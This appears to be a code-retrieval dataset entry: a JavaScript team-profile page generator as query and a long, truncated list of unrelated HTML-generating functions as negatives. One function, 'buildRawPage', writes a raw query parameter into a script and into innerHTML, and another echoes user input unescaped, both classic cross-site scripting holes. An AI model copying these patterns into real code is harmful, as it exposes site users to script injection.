function generatePage(teamArr) { return `<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-BmbxuPwQa2lc/FVzBcNJ7UAyJxM6wuqIj61tLrc4wSX0szH/Ev+nYRRuWlolflfl" crossorigin="anonymous"> <title>Team Profile</title> </head> <body> <header> <div class="navbar text-white sticky-top navbar-dark bg-dark p-4 mb-4"> <h1 class="display-5 m-auto">Team Profile<h1> </div> </header> <div class="container-md"> <div class="row row-cols-1 row-cols-md-3 g-4"> ${teamArr.map(employeeCard).join('')} </div> </div> </body> ` }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function generateHTML() {\n\n \n fs.writeFile(outputPath, render(members), \"UTF-8\", (err) => {\n \n\n \n if (err) throw err;\n \n });\n \n console.log(members);\n\n }", "function htmlWriter() {\n \n //writes the html for introduction\n htmlIntro();\n \n //creates the event functionality for example 1 and example 2\n exampleSetEvents();\n \n //writes the html for the game\n htmlGame();\n }", "function generateHtml(toBeCreated) {\n //console.log('generateHtml function ran'); \n if (currentPage === 'startPage') {\n return startPage();\n } else if (currentPage === 'questionPage') {\n return questionPage();\n } else if (currentPage === 'resultsPage') {\n return resultsPage();\n } else if (currentPage === 'feedbackPage') { \n return feedbackPage();\n }\n}", "function writeHTML() {\n\n const html = generateHTML(employees);\n\n writeFileAsync(\"./output/team.html\", html);\n\n console.log(\"team page built!\")\n\n}", "function renderHTML()\n {\n \n\n fs.writeFile('result/index.html', getTemplate(renderScript()), (err) => {\n \n if (err) throw err;\n \n console.log('HTML generated!');\n });\n \n\n }", "function genFinalHtml() {\r\n ` </div> \r\n\r\n </body>\r\n </html`;\r\n}", "function buildPage(file, data) {\n // Create a file called teamprofilepage.html, adding the input data transformed by generateHTML.js formatting.\n fs.writeFile(\"./dist/teampage.html\", generateHTML(data), function (error) {\n // If file created successfull, notify user of success in the command line interface. If error, notify user in the command line interface.\n if(error) {\n console.log(\"An unknown error occurred.\")\n }\n else {\n console.log(\"Your teampage.html file has been created successfully!\")\n }\n })\n}", "function pageGenerator() {\n var route = routing();\n\n var body = \n `<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js\"></script>` +\n `<script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\" integrity=\"sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa\" crossorigin=\"anonymous\"></script>`;\n\n document.getElementsByTagName('body')[0].innerHTML += body;\n\n // Récupérer les objet du DOM existant déjà pour les retirer\n var elmt = document.getElementById('navBlock');\n \n while (elmt.firstChild) {\n elmt.removeChild(elmt.firstChild);\n }\n \n navBlockGenerator(route);\n\n\n var elmt = document.getElementById('bodyContent');\n while (elmt.firstChild) {\n elmt.removeChild(elmt.firstChild);\n }\n\n bodyElementsGenerator(route);\n\n bodyContentGenerator(route);\n \n\n var elmt = document.getElementById('footerBlock');\n while (elmt.firstChild) {\n elmt.removeChild(elmt.firstChild);\n }\n\n footerBlockGenerator(route);\n}", "function pagehtml(){\treturn pageholder();}", "function createHtml (){\n fs.writeFileSync(outputPath, render(teamTotal), \"utf-8\");\n console.log(\"Your Team html has been created. Go to the output folder to see your creation.\")\n}", "function showPage() {\n htmlPage = \"\"; // reset html code in every function calls\n for(let i = start; i <= end; i++){\n generateHTML(objArray[i]); // populate html code with the data\n }\n studentList.innerHTML = htmlPage;\n}", "renderPage() {}", "function printHTML() {\n const html = render(employeeArr);\n fs.writeFile(outputPath, html, (err) => {\n if (err) throw err;\n console.log(\"HTML successfully generated and saved to ./output.\");\n return;\n });\n}", "function generateHtml() {\n const folder = fs.readdirSync(`${__dirname}/projects`);\n let myHtml = \" \";\n folder.forEach((arg) => {\n myHtml += `<p><a href=\"/${arg}/\">${arg}</a></p>`;\n });\n return myHtml;\n}", "function load() {\n \n //writes all the html for the page\n htmlWriter();\n }", "generateHTML(){\n var self = this;\n var html = \"<div class='\"+self.class_name+ \"'> \\\n </div>\";\n $(\"body\").append(html);\n \n //THIS WILL DEPEND ON VIEW- CHANGE LATER\n self.footer.generateHTML();\n self.us_state_map.generateMap();\n self.profile_page.generateHTML();\n self.profile_page.unfocus();\n self.header.generateHTML();\n \n }", "display() {\n fs.writeFile(outputFile, makeHtml(this.team), function (err){\n if (err) {\n console.log(err)\n } else {\n console.log(\"Made file!\");\n }\n });\n }", "function pageGenerator(pagename, req, res, pgloging = false, pgadmin = false, pgname=\"A user\"){\n var title = \"\";\n if(pagename == \"index\"){\n title = \"Bonline\";\n } else {\n title = pagename;\n }\n msg1=\"\";\n msg1 = msg1 + \"<head>\";\n msg1 = msg1 + \"<title>Welcome to \" + title + \"</title>\";\n msg1 = msg1 + '<LINK href=\"style.css\" rel=\"stylesheet\" type=\"text/css\">';\n msg1 = msg1 + \"</head>\";\n msg1 = msg1 + \"<h1>Welcome to the \" + title + \"</h1>\";\n text1 = menuGenerator(pagename, req, res, pgloging, pgadmin, pgname);\n msg1 = msg1 + text1;\n msg1 = msg1 + '</body></html>';\n return msg1;\n}", "function outputPageContent() {\n \n $('#APIdata').html(outhtml); // this prints the apidata in the blank div section in the html\n }", "function generateHtml(){\n const html = `<!DOCTYPE html>\n <html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n <link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/bulma@0.9.2/css/bulma.min.css\">\n <link rel=\"stylesheet\" href=\"/assets/css/style.css\">\n <title>Team Profile Generator</title>\n </head>\n <body>\n <nav class=\"navbar is-link\" role=\"navigation\" aria-label=\"main-navigation\">\n <div>\n <p class=\"navbar-item\">\n Team Profile Generator\n </p>\n </div>\n </nav>`;\n\n fs.writeFile('index.html', html, function(err) {\n if(err) {\n console.log(err);\n } \n });\n}", "function writeHTML() {\n let html = starterCode.getStarterCode();\n fs.writeFile(\"./output/index.html\", html, (err) => {\n if (err) throw err;\n });\n}", "function buildWebPage(result){\n document.getElementById('article').innerHTML = result.description;\n document.getElementById('article-title').innerHTML = result.title;\n}", "render(){return html``}", "async function main() {\n try {\n await prompt()\n // for i to teamArray.length => \n\n for (let i = 0; i < teamArray.length; i++) {\n //template literal=``\n teamstr = teamstr + html.generateCard(teamArray[i]);\n }\n\n let finalHTML = html.generateHTML(teamstr)\n\n console.log(teamstr)\n\n //call generate function to generate the html template literal\n\n //write file \n writeFileAsync(\"./output/index.html\", finalHTML)\n\n\n } catch (err) {\n return console.log(err);\n }\n}", "function makehtml(fi) {//makes an html file which will contain the lyrics for the song designated by the file named 'fi' a string of html code\n var ht=\"<!DOCTYPE html>\\n<html>\\n<head lang=\\\"en\\\">\\n<meta charset=\\\"UTF-8\\\">\\n<title>\"+ fi + \"</title>\\n</head>\\\"\\n<body>\\n<p id=\\\"demo\\\"></p>\";\n ht+=formatlyrics(fi);\n ht+= \"</body>\\n</html>\";\n return ht;\n\n}", "function makeTeamHTML(emplyArr) {\n fs.writeFile(outputPath, render(emplyArr), function(err) {\n err?console.log(err):console.log(\"Team html rendered. Have a look!\");\n })\n}", "function exportPage() {\n // generate html page\n const page = `<html><head><style>${css}</style></head><body>${html}</body></html>`;\n \n // create html blob with html we created\n const blob = new Blob([ page ], { type: \"text/html\" });\n\n // create a download link\n const el = window.document.createElement(\"a\");\n el.href = window.URL.createObjectURL(blob);\n el.download = \"htmlearn_export.html\"; \n\n // add link to document so we can click, then remove it\n document.body.appendChild(el);\n el.click(); \n document.body.removeChild(el);\n}", "function generate_webpage(fact, animals_array, user_input, res){\n\tlet count = 0;\n\tlet display_animals = [];\n\tfor (let i = 0; i < animals_array.length; i++){\n\t\tcount++;\n\t\tdisplay_animals[i] = `<div>\n\t\t<h3>${count}: ${animals_array[i].name}</h3>\n\t\t<div>Id: ${animals_array[i].id}</div>\n\t\t<div>Breed: ${animals_array[i].breed}</div>\n\t\t<div>Gender: ${animals_array[i].gender}</div>\n\t\t<div>Status: ${animals_array[i].status}</div>\n\t\t</div>`;\n\t}\n\tres.writeHead(200, {'Content-Type':'text/html'});\n\tres.end(`<h1>A Random Cat Fact:</h1><div>${fact}</div>\n\t\t\t <h1>Search Results for ${user_input.animals}</h1>${display_animals.join(\"\")}`\n\t);// send all the information to the client \n}", "function html(object, root) {\n var doc, docStart, docEnd, sectionStart, sectionEnd, s;\n \n // templates\n docStart = '<html><head>'\n docStart += '<title>{title}</title>'\n docStart += '<link rel=\"stylesheet\" href=\"'+root+'/files/html.css\" />'\n docStart += '</head><body>';\n sectionStart = \"<h1>{section}</h1><div>\";\n sectionEnd = \"</div>\";\n docEnd = \"</body></html>\";\n \n doc = \"\";\n doc += docStart;\n \n // handle sections\n s=\"\";\n for(s in object) {\n doc += sectionStart.replace(\"{section}\",s);\n doc = doc.replace(\"{title}\",s);\n \n switch(s) {\n case \"home\":\n doc += processHome(object[s], root);\n break;\n case \"task\":\n doc += processTasks(object[s], root, s);\n break;\n case \"category\":\n doc += processCategory(object[s], root, s);\n break;\n case \"user\":\n doc += processUser(object[s], root, s);\n break;\n case \"actions\":\n doc += processActions(object[s], root, s);\n break;\n case \"error\":\n doc += processError(object[s], root);\n break;\n default:\n doc += \"<pre>\"+JSON.stringify(object, null, 2)+\"<pre>\";\n break;\n }\n doc += sectionEnd;\n }\n doc += docEnd;\n \n return doc;\n}", "function writeHtml() {\n const html = render(teamMembers);\n fs.writeFileSync(\"./output/team.html\", html, \"utf8\");\n}", "function renderPage() {\r\n let html = addHtml();\r\n $('main').html(html);\r\n\r\n}", "function buildHtml(title, description, fileselect, uploaderName) {\r\n var header = '';\r\n //var body = '<h1>Hello World! retest</h1>';\r\n var currentPath = process.cwd();\r\n\r\n\r\n var fs = require('fs'); //Filesystem \r\n\r\n var content = fs.readFileSync(currentPath + '/public/activities/test/dummypage.html',\"utf-8\");\r\n \r\n var content2 = content.replace('Dummy Results##1title', title);\r\n var content3 = content2.replace('Description##1', description);\r\n var content4 = content3.replace(\"https://studybreaks.com/wp-content/uploads/2017/08/books.jpg\", fileselect);\r\n var content4 = content4.replace(\"Example content####Uploadername\", 'Activity by: ' + uploaderName);\r\n //console.log(content4);\r\n\r\n\r\n return content4;\r\n}", "renderHTML() {\n \n }", "function build() {\n //conditional statement that checks if the output directory has been created\n if(!fs.existsSync(OUTPUT_DIR)) {\n fs.mkdirSync(OUTPUT_DIR)\n\n }\n //validation of dir and path variables\nconsole.log(OUTPUT_DIR, outputPath)\n//this writes the html file\nfs.writeFileSync(outputPath, render(members), \"utf-8\")\n\n}", "function render(){\n let html='';\n if (store.quizStarted === false){\n html = generateStartPage();\n }else if (store.giveFeedback === true){\n html = generateQuestionsPage();\n } else if (store.giveFeedback === false && store.questionNumber === store.questions.length -1){\n html = generateLastPage();\n }\n else {\n html= generateRightWrong();\n }\n \n $('main').html(html);\n}", "function buildHtmlPage(fileName, data) {\n fs.writeFileSync(fileName, data, function (err) {\n if (err) {\n console.log(err);\n } else {\n console.log(\"Success. Your team log was created.\");\n }\n });\n console.log(teamMembers);\n}", "function generateHTML(data) {\n const section = document.createElement('section');\n peopleList.appendChild(section);\n // Check if request returns a 'standard' page from Wiki\n if (data.type === 'standard') {\n section.innerHTML = `\n <img src=${data.thumbnail.source}>\n <h2>${data.title}</h2>\n <p>${data.description}</p>\n <p>${data.extract}</p>\n `;\n } else {\n section.innerHTML = `\n <img src=\"img/profile.jpg\" alt=\"ocean clouds seen from space\">\n <h2>${data.title}</h2>\n <p>Results unavailable for ${data.title}</p>\n ${data.extract_html}\n `;\n }\n}", "function createHTML() {\n const html = render(employeeList);\n // check if directory exists and create if not exists\n if (!fs.existsSync(OUTPUT_DIR)) {\n fs.mkdirSync(OUTPUT_DIR);\n }\n\n fs.writeFile(outputPath, html, function (err) {\n if (err) {\n console.log(err);\n } else {\n console.log(\"Successfully created the Team profile file!\");\n }\n });\n}", "function wrapHtml() {\n let page = \"\";\n return page = `<!doctype html>\n <html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\">\n <meta content=\"ie=edge\" http-equiv=\"X-UA-Compatible\">\n <meta content=\"width=device-width, initial-scale=1\" name=\"viewport\">\n <!--suppress SpellCheckingInspection -->\n <link crossorigin=\"anonymous\" href=\"https://unpkg.com/purecss@2.0.6/build/pure-min.css\"\n integrity=\"sha384-Uu6IeWbM+gzNVXJcM9XV3SohHtmWE+3VGi496jvgX1jyvDTXfdK+rfZc8C1Aehk5\" rel=\"stylesheet\">\n <link href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css\" rel=\"stylesheet\">\n <link href=\"./assets/css/purecssframework.css\" rel=\"stylesheet\">\n <link href=\"./assets/css/theme-colors.css\" rel=\"stylesheet\">\n <link href=\"./assets/css/myTeam.css\" rel=\"stylesheet\">\n <link href=\"https://fonts.googleapis.com/css?family=Open+Sans\" rel=\"stylesheet\">\n <title>Document</title>\n </head>\n <body style=\"background-color: #eee;\">\n <h1 class=\"danger spacer-xl text-center mt-0 bold\"><br>My Team</h1>\n <div class=\"flex-grid\">\n ${cards} \n </div>\n </body>\n </html>`;\n\n }", "function writeHTML() {\n let html = render(teamMembers);\n writeToFile('./dist/team.html', html);\n}", "function generateHTMLFile() {\r\n\tvar fileContents = \"\";\r\n\tfileContents += \"<html><body>\";\r\n\tfileContents += $(\"#canvas\").html();\r\n\tfileContents += \"</body></html>\";\r\n\t\r\n\tvar tempLink = document.createElement('a');\r\n tempLink.setAttribute('href', 'data:text/html;charset=utf-8,' + encodeURIComponent(fileContents));\r\n tempLink.setAttribute('download', 'wysiwygHtml');\r\n\r\n tempLink.style.display = 'none';\r\n document.body.appendChild(tempLink);\r\n\r\n tempLink.click();\r\n\r\n document.body.removeChild(tempLink);\r\n}", "function render() {\n let html = generateHeader();\n\n if (store.error) {\n generateError();\n }\n\n // check if form displayed\n if (store.adding) {\n html += generateBookmarkForm();\n }\n\n html += generateAllBookmarkCards();\n\n $('main').html(html);\n }", "function writePage() {\n readFiles(src);\n\n const page = src + \"/index.html\";\n const content = getContent(filesArr);\n const data = template.replace(\"<% code %>\", content);\n\n fs.writeFile(page, data, (err) => {\n if (err) throw err;\n console.log(\"It's saved!\");\n });\n}", "function writeHtml() {\n fs.writeFile('team.html', Html.createHtml(team), function (err) {\n if (err) return console.log(err);\n });\n}", "function _buildPage( opt ){\r\nconsole.log(\"_buildPage()\");\r\n\r\n\tvar p = {\r\n\t\t//\"nid\": null,\r\n\t\t//\"templateID\" : \"tpl-page\"\r\n\t\t//\"title\" : \"\",\r\n\t\t//content : \"\"\r\n\t\t\"callback\": null\r\n\t};\r\n\t//extend options object\r\n\tfor(var key in opt ){\r\n\t\tp[key] = opt[key];\r\n\t}\r\n//console.log(p);\r\n\r\n//--------------------- BLOCK #sitename-block\r\n\tdraw.buildBlock({\r\n\t\t\"locationID\" : \"sitename-block\",\r\n\t\t\"templateID\" : \"tpl-block--sitename\"//,\r\n\t\t//\"content\" : \"<h1><a class='title' href='./'>my lib</a></h1>\" \r\n\t});\r\n//---------------------\r\n\r\n//--------------------- BLOCK\r\n\t\t\t//view alphabetical\r\n\r\n\t\t\tvar html = lib.taxonomy.view_termin({\r\n\t\t\t\t\"termins\": lib.vars[\"taxonomy\"][\"alphabetical_voc\"][\"termins\"],\r\n\t\t\t\t\"vid\": \"4\",\r\n\t\t\t\t\"tid\": \"116\",\r\n\t\t\t\t\"recourse\": true,\r\n\t\t\t\t\"show_only_children\": true,\r\n\t\t\t\t\"item_tpl\": lib.vars[\"templates\"][\"tpl-block--taxonomy_alpha_list\"],\r\n\t\t\t\t\"list_tpl\": lib.vars[\"templates\"][\"tpl-block--taxonomy_alpha\"]//,\r\n\t\t\t\t//\"url_tpl\": _vars[\"templates\"][\"taxonomy_url_tpl\"]\r\n\t\t\t});\r\nconsole.log(html);\r\n\t\t\t\r\n//---------------------\r\n\r\n}", "generateHtmlOutput() {\n let html = \"\";\n const stateSections = this.state.assignment.sections;\n const outSections = stateSections.custom.concat(stateSections.compulsory);\n\n for (let i = 0; i < outSections.length; i++) {\n if (outSections[i].value != \"\") {\n html += \"<h1>\" + outSections[i].title + \"</h1>\";\n html += outSections[i].value;\n }\n }\n\n return html;\n }", "function buildHTMLPage() {\n\n buildFooter();\n buildNavbar();\n checkRes();\n checkTheme();\n frameshiftNotice();\n //setTimeout(() => noAds(), 5000);\n\n}", "function writeToHtml() {\n console.log(teamArray);\n const teamHtml = render(teamArray);\n console.log(teamHtml);\n fs.writeFile(outputPath, teamHtml, function (err) {\n if (err) {\n throw err;\n }\n console.log(\"success\");\n })\n}", "function generateHTML(node) {\n\n if (node.name === 'h4') {\n\n html = h4(lib, node)\n\n } else if (node.name === 'h5') {\n\n html = h5(lib, node)\n\n } else if (node.name === 'img') {\n\n html = img(lib, node)\n\n } else {\n\n html = '<' + node.name + ' not-yet-supported/>'\n }\n\n debug('generate <%s> --> %s', node.name, html)\n\n return html\n}", "function genStartHtml() {\r\n return `<!DOCTYPE html>\r\n <html lang=\"en\">\r\n <head>\r\n <meta charset=\"UTF-8\">\r\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\r\n <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC\" crossorigin=\"anonymous\">\r\n \r\n \r\n <title>Team Profile</title>\r\n <link rel=\"stylesheet\" href =\"./profile.css\">\r\n </head>\r\n <body>\r\n <div class=\"head\">\r\n <h1>Team Profile</h1>\r\n </div>\r\n <div class = \"page-box\">`;\r\n}", "function buildPage() {\n\tvar navOutput = '<select id=\"sprintSelector\" style=\"width:100px;\" onchange=\"changeCurrentSprint()\">';\n\tvar contentOutput = '<table cellspacing=\"0\" width=\"100%\" class=\"ms-rteTable-0\"><tbody><tr class=\"ms-rteTableEvenRow-0\">';\n\tvar sProgress;\n\t\n\t//Build navigation output.\n\tfor (var i = 0; i < sprintsData.sprints.length; i++) {\n\t\tvar sprintId = sprintsData.sprints[i].id;\n\t\tvar sprintNumber = sprintsData.sprints[i].data.sprint;\n\t\t\n\t\tif (currentSprintId === sprintId) {\n\t\t\tsProgress = sprintsData.sprints[i].data;\n\t\t\tnavOutput += '<option value=\"'+ sprintId +'\" selected>Sprint '+ sprintNumber +'</option>';\n\t\t\n\t\t} else {\n\t\t\tnavOutput += '<option value=\"'+ sprintId +'\">Sprint '+ sprintNumber +'</option>';\n\t\t}\n\t}\n\tnavOutput += '</select>&#160 &#160;' + \n\t\t\t\t\t'<a href=\"javascript:buildNewSprintTemplate();\">'+\n\t\t\t\t\t'<font size=\"2\">+ Add new sprint​</font>'+\n\t\t\t\t\t'</a> | '+\n\t\t\t\t\t'<a href=\"/regression/SitePages/Notes.aspx?s='+ currentSprintId +'\">'+\n\t\t\t\t\t'<font size=\"2\">View sprint notes​</font>'+\n\t\t\t\t\t'</a>​';\n\t\n\t//Build sprint progress output.\n\tfor (var i = 0; i < sProgress.tools.length; i++) {\n\t\t\tcontentOutput += '<td class=\"ms-rteTableEvenCol-0\" style=\"width: 14.2857%;\">' +\n\t\t\t\t\t\t\t\t'<h1>' + sProgress.tools[i].name + '</h1>' +\n\t\t\t\t\t\t\t\t'<ul>';\n \n\t\t\tfor (var j = 0; j < sProgress.tools[i].features.length; j++) {\n\t\t\t\tvar featureStatusHtml;\n\t\t\t\tvar urlVariables = '?s=' + currentSprintId + '&t=' + i + '&f=' + j;\n\t\t\t\tvar featureUrl = sProgress.tools[i].features[j].url + urlVariables;\n\t\t\t\t\n\t\t\t\tswitch(sProgress.tools[i].features[j].status) {\n\t\t\t\t\tcase 0:\n\t\t\t\t\t\tfeatureStatusHtml = ' - <font color=\"#C0C0C0\" size=\"1\"><b>?</b></font>';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 1:\n\t\t\t\t\t\tfeatureStatusHtml = ' - <font color=\"#008000\" size=\"3\"><b>v</b></font>';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 2:\n\t\t\t\t\t\tfeatureStatusHtml = ' - <font color=\"#ff0000\" size=\"3\"><b>x</b></font>';\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tcontentOutput += '<li>'+\n\t\t\t\t\t\t\t\t\t'<a href=\"' + featureUrl + '\">'+\n\t\t\t\t\t\t\t\t\tsProgress.tools[i].features[j].name+\n\t\t\t\t\t\t\t\t\t'</a>' + featureStatusHtml+\n\t\t\t\t\t\t\t\t\t'</li>';\n\t\t\t}\n\t\t\t\n\t\t\tcontentOutput += '</ul>'+\n\t\t\t\t\t\t\t\t'<a href=\"javascript:openNewFeatureDialog(' + i + ');\">'+\n\t\t\t\t\t\t\t\t'<font size=\"1\">+ Add feature​</font>'+\n\t\t\t\t\t\t\t\t'</a></td>';\n\t\t\t\t\t\t\t\t\n\t\t}\n\t\t\n\t\tcontentOutput += '</tr></tbody></table>';\t\n\t\n\t\n\tdocument.getElementById(\"SprintOptions\").innerHTML = navOutput;\n\tdocument.getElementById(\"innerContent\").innerHTML = contentOutput;\n\tdocument.getElementById(\"DeltaPlaceHolderPageTitleInTitleArea\").innerHTML = 'Regression - Sprint ' + sProgress.sprint;\n}", "function writeHTML(array) { \n return `\n <!DOCTYPE html>\n <html lang=\"en\">\n \n <head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n <title>Team Profile Generator</title>\n <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css\" integrity=\"sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==\" crossorigin=\"anonymous\" />\n <link rel=\"stylesheet\" href=\"./dist/style.css\">\n </head>\n\n <body>\n <header>\n <h1>\n Team Profile \n </h1>\n </header>\n\n <main>\n <div class=\"main\">\n ${writeEmployees(array)}\n </div>\n </main>\n </body>\n `\n}", "get contents() {\n\t\tlet result = `\n <div class='container'>\n <header>\n <h1>${this.title}</h1>\n </header>\n <!-- Page specific content -->\n <div id='page-content'>${this.body}</div>\n </div>`;\n\t\treturn result;\n\t}", "function generateUserPage(id) {\n //Set all the params to pass the template (in practice, it would be getting them from a database or such)\n var pageTitle = \"User \"+id+\" - Example site\";\n var userName = \"User\"+id;\n var userDescription = \"This is this user's description\";\n\n //Generate HTML using the compiled templates and specified params\n return userTemplate({\"title\": pageTitle, \"name\": userName, \"description\": userDescription});\n}", "function displayTemplate(niceDate, all) {\n return `<!DOCTYPE html>\n <html>\n <head>\n <title>${niceDate.split('.').join(':')}</title>\n <meta charset=\"utf-8\">\n <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.css\">\n <link href=\"https://fonts.googleapis.com/css?family=Montserrat:400,400i,700,700i|Source+Code+Pro&display=swap\" rel=\"stylesheet\">\n <style>${fs.readFileSync('./test-runner.css', 'utf-8')}</style>\n </head>\n <body>\n <script>\n render('${niceDate.split('.').join(':')}', ${JSON.stringify(all, '', ' ')});\n ${render}\n </script>\n </body>\n </html>\n `\n}", "function createPage() {\n init();\n generateCard();\n makeCommentsWork();\n makeCommentIconsWork();\n makeReactionsWork();\n displayCharLimit();\n}", "render() {\n return html ``;\n }", "function html() {\n // Gets .html and .nunjucks files in pages\n return gulp.src('src/pages/**/*.+(html|nunjucks)')\n // Renders template with nunjucks\n .pipe(nunjucksRender({\n path: ['src/templates']\n }))\n // output files in src folder\n .pipe(gulp.dest('app'));\n}", "function printHTML5Page() {\n\t\t$(\"#content\").html2canvas({ \n\t\t\tcanvas: hidden_screenshot,\n\t\t\tonrendered: function() {\n\t\t\t\tif (notReady()) { return; }\n\t\t\t\t// Optional, set up custom page size. These only work for PostScript printing.\n\t\t\t\t// setPaperSize() must be called before setAutoSize(), setOrientation(), etc.\n\t\t\t\tqz.setPaperSize(\"8.5in\", \"11.0in\"); // US Letter\n\t\t\t\tqz.setAutoSize(true);\n\t\t\t\tqz.appendImage($(\"canvas\")[0].toDataURL('image/png'));\n\t\t\t\t\n\t\t\t\t//qz.setCopies(3);\n\t\t\t\tqz.setCopies(parseInt(document.getElementById(\"copies\").value));\n\t\t\t\t\n\t\t\t\t// Automatically gets called when \"qz.appendFile()\" is finished.\n\t\t\t\twindow['qzDoneAppending'] = function() {\n\t\t\t\t\t// Tell the applet to print.\n\t\t\t\t\tqz.printPS();\n\t\t\t\t\t\n\t\t\t\t\t// Remove reference to this function\n\t\t\t\t\twindow['qzDoneAppending'] = null;\n\t\t\t\t};\n\t\t\t}\n\t\t});\n\t}", "function generateHTML(fullTeam) {\n\n // Create new array of employee cards based on employee role\n const cardsArray = fullTeam.map(employee => {\n\n // Check role for each employee in fullTeam array using the getRole() method\n let role = employee.getRole();\n\n if (role === \"Manager\") {\n let managerCard = createManagerCard(employee);\n return managerCard;\n }\n\n if (role === \"Engineer\") {\n let engineerCard = createEngineerCard(employee);\n return engineerCard;\n }\n\n if (role === \"Intern\") {\n let internCard = createInternCard(employee);\n return internCard;\n }\n });\n\n const employeeCards = cardsArray.join(\"\");\n\n const finishedHTML = finalDocument(employeeCards);\n\n return finishedHTML;\n}", "generateHTML() {\n return `<nav>${this.generateMenu(this.data)}</nav>`;\n }", "function makeHtml(data) {\n var html = (new Showdown.converter()).makeHtml(data);\n $(document.body).html(html);\n }", "function buildRawPage(req) {\n return '<html>'\n + '<body>'\n + '<p id=\"tag\"></p>'\n + '</body>'\n + '<script>'\n + 'var el = document.getElementById(\"tag\");'\n + 'el.innerHTML = ' + req.query.text + ';'\n + '</script>'\n + '</html >'\n }", "function getPageHTML() {\n let language = getLanguage()\n // get all the server-rendered html in our desired language\n $.ajax({\n beforeSend: console.log('getting html for language...'),\n url: '/getHtml',\n type: 'POST',\n data: { language },\n success: (data) => {\n if (data.err) {\n console.error('Error getting html!')\n } else {\n $('#full-page').html(data)\n // now we load the rest of the site\n GetRestOfSiteData()\n }\n },\n complete: (xhr, status) => {\n if (status == 'error') {\n $('#full-page').html(xhr.responseText)\n }\n },\n })\n}", "function htmlWriteResults(cases) {\r\n var myHTML = '';\r\n myHTML +=\r\n `<article><div class=\"col-md-4\">\r\n <div class=\"well text-center\">`;\r\n if (filterMovies(cases.imdbID)) {\r\n myHTML +=\r\n `<div class=\"alert alert-success\" id=\"${cases.imdbID}inCollection\"><p><i class=\"fa fa-cloud-download\"></i> In Collection</p></div>`;\r\n } else {\r\n myHTML +=\r\n `<div class=\"alert alert-danger\" id=\"${cases.imdbID}notInCollection\"><p><i class=\"fa fa-exclamation-triangle\"></i> Not in Collection</p></div>`;\r\n }\r\n myHTML +=\r\n `<figure><img src=\"${posterError(cases.Poster)}\" alt=\"${cases.Title}\"></figure>\r\n <h5 class=\"whiteheader\">${cases.Title} (${cases.Year.substring(0, 4)})</h5>\r\n <div class=\"btn-group\">\r\n <a onclick=\"movieSelected('${cases.imdbID}')\" class=\"btn btn-primary btn-rounded\" href=\"#\"><i class=\"fa fa-info-circle\"></i> ${upperFirst(cases.Type)} Details</a>\r\n </div>\r\n </div>\r\n </div></article>\r\n `;\r\n return myHTML;\r\n}", "async function create_html(team_name) {\n // Try creating html file\n try {\n // Aassign Header html that goes above employee information\n const header_html = `\n<!DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n <script src=\"https://kit.fontawesome.com/cc10a71280.js\" crossorigin=\"anonymous\"></script>\n <link rel=\"stylesheet\" href=\"../css/style.css\">\n <title>Team Profile Generator</title>\n</head>\n\n<body>\n<header>\n <h1>Team: ${team_name}</h1> \n</header>\n<main>`\n // Create html file with header html string\n await fs.writeFile('output/team.html', header_html, (error) => {\n if (error) {\n print(error)\n }\n });\n // If there is an error catch it\n } catch (e) {\n print(e);\n }\n}", "function buildPage(){\n var container = document.getElementById(\"ssBody\");\n container.innerHTML = \"\";\n var divGlobal = MH.makeDiv(\"global\");\n divGlobal.appendChild(buildHeader());\n divGlobal.appendChild(buildBody());\n divGlobal.appendChild(buildFooter());\n container.appendChild(divGlobal);\n}", "html()\n{\n console.log(\"Rendering\");\n const html = ` <h2>${this.name}</h2>\n <div class=\"image\"><img src=\"${this.imgSrc}\" alt=\"${this.imgAlt}\"></div>\n <div>\n <div>\n <h3>Distance</h3>\n <p>${this.distance}</p>\n </div>\n <div>\n <h3>Difficulty</h3>\n <p>${this.difficulty}</p>\n </div>\n </div>`;\n\n return html;\n}", "function html() {\n\t// Your code here\n}", "function makeHtml(\n cxt,\n cb\n) {\n var options = cxt.options,\n details = cxt.details,\n packageMap = cxt.packageMap,\n mostRecentJSDate = cxt.mostRecentJSDate,\n deps = cxt.deps,\n depsFileMap = cxt.depsFileMap,\n cssFileMap = cxt.cssFileMap,\n cssMostRecentDate = cxt.cssMostRecentDate;\n\n if (options.html) {\n if 